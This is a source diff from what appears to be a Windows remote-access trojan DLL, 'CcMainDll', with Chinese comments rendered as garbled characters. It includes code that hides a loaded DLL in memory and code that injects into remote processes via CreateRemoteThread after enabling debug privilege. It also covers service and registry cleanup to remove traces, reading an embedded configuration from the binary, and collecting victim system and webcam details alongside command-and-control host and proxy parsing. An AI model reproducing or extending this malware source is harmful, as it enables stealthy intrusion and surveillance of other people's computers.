//ע<>⣬<EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>е<EFBFBD><D0B5><EFBFBD>HideLibrary<72><79>LoadLibrary<72><79><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>ٴα<D9B4><CEB1><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||
HMODULE hDll = _LoadLibrary(dllpath_bak);
|
||||
|
||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>hDll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC>ĵ<EFBFBD>ַ
|
||||
cbFunc->pAddress = (LPTHREAD_START_ROUTINE)
|
||||
((DWORD)cbFunc->pAddress - (DWORD)hDllInstance + (DWORD)hDll);
|
||||
|
||||
LPTHREAD_START_ROUTINE pFunc1 = (LPTHREAD_START_ROUTINE)
|
||||
((DWORD)EnumAndSetThreadState - (DWORD)hDllInstance + (DWORD)hDll);
|
||||
|
||||
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
_CreateThread(0, 0, pFunc1, (LPVOID)TRUE, 0, 0);
|
||||
|
||||
//<2F><><EFBFBD>ûص<C3BB><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(cbFunc->pAddress)
|
||||
_CreateThread(0, 0, cbFunc->pAddress, cbFunc->lParam, 0, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
_memcpy(hDllInstance, cbFunc->lpNewDllBase, modinfo.SizeOfImage);
|
||||
|
||||
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
EnumAndSetThreadState((LPVOID)TRUE);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ԭdll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>GotoCallBackAddr<64><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>VirtualAlloc<6F><63><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
_CreateThread(0, 0, GotoCallBackAddr, cbFunc, 0, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI HideLibrary02(LPVOID lParam)
|
||||
{
|
||||
//__asm INT 3
|
||||
|
||||
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
|
||||
|
||||
MODULEINFO modinfo;
|
||||
|
||||
GetModuleInformation(GetCurrentProcess(), cbFunc->lpDllBase, &modinfo, sizeof(MODULEINFO));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>͵<EFBFBD>ǰdllͬ<6C><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ<EFBFBD>
|
||||
cbFunc->lpNewDllBase = VirtualAlloc(NULL, modinfo.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if(cbFunc->lpNewDllBase == NULL)
|
||||
return FALSE;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ǰdll<6C><6C><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ棬
|
||||
memcpy(cbFunc->lpNewDllBase, modinfo.lpBaseOfDll, modinfo.SizeOfImage);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>copy<70><79>UnLoadLibrary<72>ĵ<EFBFBD>ַ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵߳<DFB3><CCB5>õ<EFBFBD>ִַ<D6B7><D6B4>
|
||||
void *pNewUnLoadLibrary = LPVOID((DWORD)cbFunc->lpNewDllBase + (DWORD)UnLoadLibrary - (DWORD)modinfo.lpBaseOfDll);
|
||||
|
||||
DWORD ThreadId;
|
||||
HANDLE hThread = CreateThread(0,0,
|
||||
(LPTHREAD_START_ROUTINE)pNewUnLoadLibrary, (LPVOID)cbFunc, CREATE_SUSPENDED, &ThreadId);
|
||||
|
||||
if(hThread == NULL)
|
||||
{
|
||||
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
|
||||
delete cbFunc;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ResumeThread(hThread);
|
||||
CloseHandle(hThread);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam)
|
||||
{
|
||||
|
||||
PUNLOADLIB_CALLBACK lparam = new UNLOADLIB_CALLBACK;
|
||||
|
||||
lparam->lpDllBase = hModule;
|
||||
lparam->lpNewDllBase = NULL;
|
||||
lparam->pAddress = (PTHREAD_START_ROUTINE)pCallBackAddr;
|
||||
lparam->lParam = lParam;
|
||||
|
||||
HANDLE hThread = CreateThread(0,0,
|
||||
HideLibrary02, (LPVOID)lparam, 0, NULL);
|
||||
|
||||
if(hThread == NULL)
|
||||
{
|
||||
delete lparam;
|
||||
return;
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
170
CcMainDll/CcMainDll/common/inject.h
Normal file
170
CcMainDll/CcMainDll/common/inject.h
Normal file
@@ -0,0 +1,170 @@
|
||||
#if !defined(AFX_INJECT_H_INCLUDED)
|
||||
#define AFX_INJECT_H_INCLUDED
|
||||
|
||||
#include <windows.h>
|
||||
#include <Tlhelp32.h>
|
||||
extern DWORD GetProcessID(LPCTSTR lpProcessName);
|
||||
|
||||
#define THREADSIZE 1024 * 10 //should be big enough
|
||||
|
||||
typedef SC_HANDLE (__stdcall *TOpenSCManager)(LPCTSTR, LPCTSTR, DWORD);
|
||||
typedef SC_HANDLE (__stdcall *TOpenService)(SC_HANDLE, LPCTSTR, DWORD);
|
||||
typedef BOOL (__stdcall *TQueryServiceStatus)(SC_HANDLE, LPSERVICE_STATUS);
|
||||
typedef BOOL (__stdcall *TControlService)(SC_HANDLE, DWORD, LPSERVICE_STATUS);
|
||||
typedef BOOL (__stdcall *TStartService)(SC_HANDLE, DWORD, LPCTSTR*);
|
||||
typedef BOOL (__stdcall *TDeleteService)(SC_HANDLE);
|
||||
typedef BOOL (__stdcall *TCloseServiceHandle)(SC_HANDLE);
|
||||
|
||||
typedef DWORD (__stdcall *TSHDeleteKey)(HKEY, LPCTSTR);
|
||||
|
||||
typedef BOOL (__stdcall *TCloseHandle)(HANDLE);
|
||||
typedef VOID (__stdcall *TSleep)(DWORD);
|
||||
typedef BOOL (__stdcall *TDeleteFile)(LPCTSTR);
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
TOpenSCManager MyOpenSCManager;
|
||||
TOpenService MyOpenService;
|
||||
TQueryServiceStatus MyQueryServiceStatus;
|
||||
TControlService MyControlService;
|
||||
TStartService MyStartService;
|
||||
TDeleteService MyDeleteService;
|
||||
TCloseServiceHandle MyCloseServiceHandle;
|
||||
|
||||
TSHDeleteKey MySHDeleteKey;
|
||||
|
||||
TCloseHandle MyCloseHandle;
|
||||
TSleep MySleep;
|
||||
TDeleteFile MyDeleteFile;
|
||||
|
||||
char strServiceName[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char strServiceRegKey[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>λ<EFBFBD><CEBB>
|
||||
}REMOTE_PARAMETER, *PREMOTE_PARAMETER;
|
||||
|
||||
bool EnableDebugPriv(void)
|
||||
{
|
||||
HANDLE hToken;
|
||||
LUID sedebugnameValue;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
|
||||
return false;
|
||||
if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Luid = sedebugnameValue;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hToken);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
DWORD __stdcall MyFunc(LPVOID lparam)
|
||||
{
|
||||
REMOTE_PARAMETER *pRemoteParam = (REMOTE_PARAMETER *)lparam;
|
||||
SC_HANDLE service = NULL, scm = NULL;
|
||||
SERVICE_STATUS Status;
|
||||
|
||||
scm = pRemoteParam->MyOpenSCManager(0, 0,
|
||||
SC_MANAGER_CREATE_SERVICE);
|
||||
service = pRemoteParam->MyOpenService(
|
||||
scm, pRemoteParam->strServiceName,
|
||||
SERVICE_ALL_ACCESS | DELETE);
|
||||
if (scm==NULL&&service == NULL)
|
||||
return -1;
|
||||
|
||||
if (!pRemoteParam->MyQueryServiceStatus(service, &Status))
|
||||
return -1;
|
||||
|
||||
if (Status.dwCurrentState != SERVICE_STOPPED)
|
||||
{
|
||||
if (!pRemoteParam->MyControlService(service, SERVICE_CONTROL_STOP, &Status))
|
||||
return -1;
|
||||
// Wait to service stopped
|
||||
pRemoteParam->MySleep(1000);
|
||||
}
|
||||
|
||||
|
||||
// delete service
|
||||
pRemoteParam->MyDeleteService(service);
|
||||
// delete regkey
|
||||
pRemoteParam->MySHDeleteKey(HKEY_LOCAL_MACHINE, pRemoteParam->strServiceRegKey);
|
||||
|
||||
if (service != NULL)
|
||||
pRemoteParam->MyCloseServiceHandle(service);
|
||||
if (scm != NULL)
|
||||
pRemoteParam->MyCloseServiceHandle(scm);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool InjectRemoveService(LPCTSTR lpProcessName, char *lpServiceName)
|
||||
{
|
||||
EnableDebugPriv();
|
||||
HANDLE hProcess;
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessID(lpProcessName));
|
||||
|
||||
if (hProcess == NULL)
|
||||
return false;
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
REMOTE_PARAMETER remoteParameter;
|
||||
memset(&remoteParameter, 0, sizeof(remoteParameter));
|
||||
|
||||
HMODULE hAdvapi32 = LoadLibrary("advapi32.dll");
|
||||
remoteParameter.MyOpenSCManager = (TOpenSCManager)GetProcAddress(hAdvapi32, "OpenSCManagerA");
|
||||
remoteParameter.MyOpenService = (TOpenService)GetProcAddress(hAdvapi32, "OpenServiceA");
|
||||
remoteParameter.MyQueryServiceStatus = (TQueryServiceStatus)GetProcAddress(hAdvapi32, "QueryServiceStatus");
|
||||
remoteParameter.MyControlService = (TControlService)GetProcAddress(hAdvapi32, "ControlService");
|
||||
remoteParameter.MyStartService = (TStartService)GetProcAddress(hAdvapi32, "StartServiceA");
|
||||
remoteParameter.MyDeleteService = (TDeleteService)GetProcAddress(hAdvapi32, "DeleteService");
|
||||
remoteParameter.MyCloseServiceHandle = (TCloseServiceHandle)GetProcAddress(hAdvapi32, "CloseServiceHandle");
|
||||
FreeLibrary(hAdvapi32);
|
||||
|
||||
HMODULE hShlwapi = LoadLibrary("shlwapi.dll");
|
||||
remoteParameter.MySHDeleteKey = (TSHDeleteKey)GetProcAddress(hShlwapi, "SHDeleteKeyA");
|
||||
FreeLibrary(hShlwapi);
|
||||
|
||||
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
|
||||
remoteParameter.MySleep = (TSleep)GetProcAddress(hKernel32, "Sleep");
|
||||
remoteParameter.MyCloseHandle = (TCloseHandle)GetProcAddress(hKernel32, "CloseHandle");
|
||||
FreeLibrary(hKernel32);
|
||||
|
||||
lstrcpy(remoteParameter.strServiceName, lpServiceName);
|
||||
lstrcpy(remoteParameter.strServiceRegKey, "SYSTEM\\CurrentControlSet\\Services\\");
|
||||
lstrcat(remoteParameter.strServiceRegKey, remoteParameter.strServiceName);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// Write thread parameter to Remote thread
|
||||
void *pDataRemote = (char*)VirtualAllocEx(hProcess, 0, sizeof(remoteParameter),
|
||||
MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!pDataRemote)
|
||||
return false;
|
||||
if (!WriteProcessMemory( hProcess, pDataRemote, &remoteParameter, sizeof(remoteParameter), NULL))
|
||||
return false;
|
||||
|
||||
// Write Code to Remote thread
|
||||
DWORD cbCodeSize= THREADSIZE; // <20><><EFBFBD><EFBFBD><EFBFBD>Ŀռ䲻<D5BC><E4B2BB>һ<EFBFBD>㣬<EFBFBD><E3A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WriteProcessMemroy<6F><79>ʧ<EFBFBD><CAA7>
|
||||
PDWORD pCodeRemote = (PDWORD)VirtualAllocEx(hProcess, 0, cbCodeSize, MEM_COMMIT,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (!pCodeRemote)
|
||||
return false;
|
||||
|
||||
if (!WriteProcessMemory(hProcess, pCodeRemote, &MyFunc, cbCodeSize, NULL))
|
||||
return false;
|
||||
|
||||
if (CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCodeRemote, pDataRemote, 0, NULL) == NULL)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
#endif // !defined(AFX_INJECT_H_INCLUDED)
|
||||
235
CcMainDll/CcMainDll/common/install.cpp
Normal file
235
CcMainDll/CcMainDll/common/install.cpp
Normal file
@@ -0,0 +1,235 @@
|
||||
#include "..\pch.h"
|
||||
#include "install.h"
|
||||
#include "until.h"
|
||||
#include <Shlwapi.h>
|
||||
void RemoveService(LPCTSTR lpServiceName)
|
||||
{
|
||||
char Desc[MAX_PATH];
|
||||
char regKey[1024];
|
||||
SC_HANDLE service = NULL, scm = NULL;
|
||||
SERVICE_STATUS Status;
|
||||
__try
|
||||
{
|
||||
scm = OpenSCManager(NULL, NULL,
|
||||
SC_MANAGER_ALL_ACCESS);
|
||||
service = OpenService(
|
||||
scm, lpServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
if (scm==NULL&&service == NULL)
|
||||
__leave;
|
||||
|
||||
if (!QueryServiceStatus(service, &Status))
|
||||
__leave;
|
||||
|
||||
if (Status.dwCurrentState != SERVICE_STOPPED)
|
||||
{
|
||||
if (!ControlService(service,
|
||||
SERVICE_CONTROL_STOP,
|
||||
&Status))
|
||||
__leave;
|
||||
Sleep(800);
|
||||
}
|
||||
DeleteService(service);
|
||||
|
||||
memset(regKey, 0, sizeof(regKey));
|
||||
wsprintf(regKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
SHDeleteKey(HKEY_LOCAL_MACHINE, regKey);
|
||||
}
|
||||
__finally
|
||||
{
|
||||
if (service != NULL)
|
||||
CloseServiceHandle(service);
|
||||
if (scm != NULL)
|
||||
CloseServiceHandle(scm);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void DeleteInstallFile(char *lpServiceName)
|
||||
{
|
||||
char strInstallModule[MAX_PATH];
|
||||
char strSubKey[1024];
|
||||
memset(strInstallModule, 0, sizeof(strInstallModule));
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey,
|
||||
"InstallModule", REG_SZ, strInstallModule, NULL, lstrlen(strInstallModule), 0);
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ļ<EFBFBD>
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "InstallModule", REG_SZ, NULL, NULL, 3);
|
||||
for (int i = 0; i < 25; i++)
|
||||
{
|
||||
Sleep(3000);
|
||||
if (DeleteFile(strInstallModule))
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da,i,j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j ++)
|
||||
if (mem[i+j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
#define MAX_CONFIG_LEN 1024
|
||||
|
||||
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
|
||||
{
|
||||
char strFileName[MAX_PATH];
|
||||
char *lpConfigString = NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
|
||||
|
||||
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
|
||||
lpConfigString = new char[MAX_CONFIG_LEN];
|
||||
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
|
||||
if (offset == -1)
|
||||
{
|
||||
delete lpConfigString;
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return lpConfigString + offset;
|
||||
}
|
||||
}
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void ReConfigService(char *lpServiceName)
|
||||
{
|
||||
int rc = 0;
|
||||
HKEY hKey = 0;
|
||||
|
||||
try{
|
||||
char buff[500];
|
||||
//config service
|
||||
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
|
||||
strcat(buff, lpServiceName);
|
||||
rc = RegCreateKey(HKEY_LOCAL_MACHINE, buff, &hKey);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
{
|
||||
throw "";
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>ΪOwner<65>ģ<EFBFBD><C4A3><EFBFBD>ΪShare
|
||||
DWORD dwType = 0x120;
|
||||
rc = RegSetValueEx(hKey, "Type", 0, REG_DWORD, (unsigned char*)&dwType, sizeof(DWORD));
|
||||
SetLastError(rc);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
throw "RegSetValueEx(start)";
|
||||
}
|
||||
catch(char *str)
|
||||
{
|
||||
if(str && str[0])
|
||||
{
|
||||
rc = GetLastError();
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>ȡȨ<C8A1><C8A8>
|
||||
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode)
|
||||
{
|
||||
PSECURITY_DESCRIPTOR SD;
|
||||
EXPLICIT_ACCESS ea;
|
||||
PACL OldDACL, NewDACL;
|
||||
SE_OBJECT_TYPE ObjectType = SE_REGISTRY_KEY; //#include <aclapi.h>
|
||||
|
||||
//Ĭ<>Ϸ<EFBFBD><CFB7><EFBFBD>ֵΪFALSE
|
||||
BOOL bRet = FALSE;
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>յ<EFBFBD>ACL;
|
||||
if (SetEntriesInAcl(0, NULL, NULL, &OldDACL) != ERROR_SUCCESS)
|
||||
return bRet;
|
||||
|
||||
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL) != ERROR_SUCCESS)
|
||||
return bRet;
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>е<EFBFBD>ACL<43>б<EFBFBD><D0B1><EFBFBD>OldDACL:
|
||||
if(GetNamedSecurityInfo(lpKeyName, ObjectType,
|
||||
DACL_SECURITY_INFORMATION,
|
||||
NULL, NULL,
|
||||
&OldDACL,
|
||||
NULL, &SD) != ERROR_SUCCESS)
|
||||
{
|
||||
return bRet;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>"Everyone"<22><>ָ<EFBFBD><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ṹea:
|
||||
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
|
||||
|
||||
char *lpUsers[] = {"SYSTEM", "Administrators", "Everyone", "Users"};
|
||||
for (int i = 0; i < sizeof(lpUsers) / sizeof(char *); i++)
|
||||
{
|
||||
BuildExplicitAccessWithName(&ea,
|
||||
lpUsers[i], // name of trustee
|
||||
AccessPermissions, // type of access
|
||||
AccessMode, // access mode
|
||||
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //<2F>Ӽ<EFBFBD><D3BC>̳<EFBFBD><CCB3><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
|
||||
}
|
||||
//<2F>ϲ<EFBFBD><CFB2>ṹea<65><61>OldDACL<43><4C>Ȩ<EFBFBD><C8A8><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>µ<EFBFBD>NewDACL:
|
||||
if (SetEntriesInAcl(1, &ea, NULL, &NewDACL) == ERROR_SUCCESS)
|
||||
{
|
||||
//<2F><><EFBFBD>µ<EFBFBD>ACLд<4C>뵽ָ<EBB5BD><D6B8><EFBFBD>ļ<EFBFBD>:
|
||||
SetNamedSecurityInfo(lpKeyName, ObjectType,
|
||||
DACL_SECURITY_INFORMATION,
|
||||
NULL, NULL,
|
||||
NewDACL,
|
||||
NULL);
|
||||
bRet = TRUE;
|
||||
}
|
||||
//<2F>ͷ<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
|
||||
if(SD != NULL)
|
||||
LocalFree((HLOCAL) SD);
|
||||
if(NewDACL != NULL)
|
||||
LocalFree((HLOCAL) NewDACL);
|
||||
if(OldDACL != NULL)
|
||||
LocalFree((HLOCAL) OldDACL);
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD QueryServiceTypeFromRegedit(char *lpServiceName)
|
||||
{
|
||||
int rc = 0;
|
||||
HKEY hKey = 0;
|
||||
DWORD dwServiceType = 0;
|
||||
try{
|
||||
char buff[500];
|
||||
//config service
|
||||
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
|
||||
strcat(buff, lpServiceName);
|
||||
rc = RegOpenKey(HKEY_LOCAL_MACHINE, buff, &hKey);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
{
|
||||
throw "";
|
||||
}
|
||||
|
||||
DWORD type, size = sizeof(DWORD);
|
||||
rc = RegQueryValueEx(hKey, "Type", 0, &type, (unsigned char *)&dwServiceType, &size);
|
||||
RegCloseKey(hKey);
|
||||
SetLastError(rc);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
throw "RegQueryValueEx(Type)";
|
||||
}
|
||||
catch(...)
|
||||
{
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return dwServiceType;
|
||||
}
|
||||
14
CcMainDll/CcMainDll/common/install.h
Normal file
14
CcMainDll/CcMainDll/common/install.h
Normal file
@@ -0,0 +1,14 @@
|
||||
|
||||
#if !defined(AFX_INSTALL_H_INCLUDED)
|
||||
#define AFX_INSTALL_H_INCLUDED
|
||||
#include <windows.h>
|
||||
#include <aclapi.h>
|
||||
void DeleteInstallFile(char *lpServiceName);
|
||||
bool IsServiceRegExists(char *lpServiceName);
|
||||
void ReConfigService(char *lpServiceName);
|
||||
DWORD QueryServiceTypeFromRegedit(char *lpServiceName);
|
||||
void RemoveService(LPCTSTR lpServiceName);
|
||||
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString);
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes);
|
||||
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode);
|
||||
#endif // !defined(AFX_INSTALL_H_INCLUDED)
|
||||
210
CcMainDll/CcMainDll/common/login.h
Normal file
210
CcMainDll/CcMainDll/common/login.h
Normal file
@@ -0,0 +1,210 @@
|
||||
|
||||
#include <wininet.h>
|
||||
#include <stdlib.h>
|
||||
#include <vfw.h>
|
||||
#include "decode.h"
|
||||
#include "until.h"
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma comment(lib, "vfw32.lib")
|
||||
typedef struct
|
||||
{
|
||||
BYTE bToken; // = 1
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
int CPUClockMhz; // CPU<50><55>Ƶ
|
||||
IN_ADDR IPAddress; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char HostName[50]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool bIsWebCam; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGININFO;
|
||||
|
||||
|
||||
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
|
||||
char **lppszProxyUser, char **lppszProxyPass)
|
||||
{
|
||||
*lppszHost = NULL;
|
||||
*lppPort = 0;
|
||||
*lppszProxyHost = NULL;
|
||||
*lppProxyPort = 0;
|
||||
*lppszProxyUser = NULL;
|
||||
*lppszProxyPass = NULL;
|
||||
|
||||
bool bIsProxyUsed = false;
|
||||
bool bIsAuth = false;
|
||||
UINT nSize = lstrlen(lpDecodeString) + 1;
|
||||
char *lpString = new char[nSize];
|
||||
memcpy(lpString, lpDecodeString, nSize);
|
||||
|
||||
char *pStart, *pNext, *pEnd;
|
||||
*lppszHost = lpString;
|
||||
|
||||
if ((pStart = strchr(lpString, ':')) == NULL)
|
||||
return;
|
||||
|
||||
*pStart = '\0';
|
||||
if ((pNext = strchr(pStart + 1, '|')) != NULL)
|
||||
{
|
||||
bIsProxyUsed = true;
|
||||
*pNext = '\0';
|
||||
}
|
||||
*lppPort = atoi(pStart + 1);
|
||||
|
||||
if (!bIsProxyUsed)
|
||||
return;
|
||||
|
||||
pNext++;
|
||||
*lppszProxyHost = pNext;
|
||||
|
||||
if ((pStart = strchr(pNext, ':')) == NULL)
|
||||
return;
|
||||
|
||||
*pStart = '\0';
|
||||
if ((pNext = strchr(pStart + 1, '|')) != NULL)
|
||||
{
|
||||
bIsAuth = true;
|
||||
*pNext = '\0';
|
||||
}
|
||||
*lppProxyPort = atoi(pStart + 1);
|
||||
|
||||
if (!bIsAuth)
|
||||
return;
|
||||
|
||||
pNext++;
|
||||
*lppszProxyUser = pNext;
|
||||
if ((pStart = strchr(pNext, ':')) == NULL)
|
||||
return;
|
||||
*pStart = '\0';
|
||||
*lppszProxyPass = pStart + 1;
|
||||
}
|
||||
|
||||
bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
|
||||
char **lppszProxyUser, char **lppszProxyPass)
|
||||
{
|
||||
if (lpURL == NULL)
|
||||
return false;
|
||||
char *pStart, *pEnd;
|
||||
char buffer[2048];
|
||||
char strEncode[1024];
|
||||
|
||||
DWORD dwBytesRead = 0;
|
||||
bool bRet = false;
|
||||
|
||||
// û<><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL)
|
||||
{
|
||||
SplitLoginInfo(lpURL, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
|
||||
return true;
|
||||
}
|
||||
|
||||
HINTERNET hNet;
|
||||
HINTERNET hFile;
|
||||
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
if (hNet == NULL)
|
||||
return bRet;
|
||||
